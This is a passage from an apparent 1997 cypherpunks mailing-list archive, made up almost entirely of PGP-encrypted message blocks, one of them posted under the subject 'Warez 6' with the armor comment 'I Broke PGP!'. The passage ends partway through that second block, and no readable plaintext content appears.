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
l+lYmIQDLsPsLAv7mSEX3MD6wppcWcBVGQ==
=gGG7
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:14:43 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:14:43 +0800
Subject: Warez 6
Message-ID: <199712180806.AAA15834@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
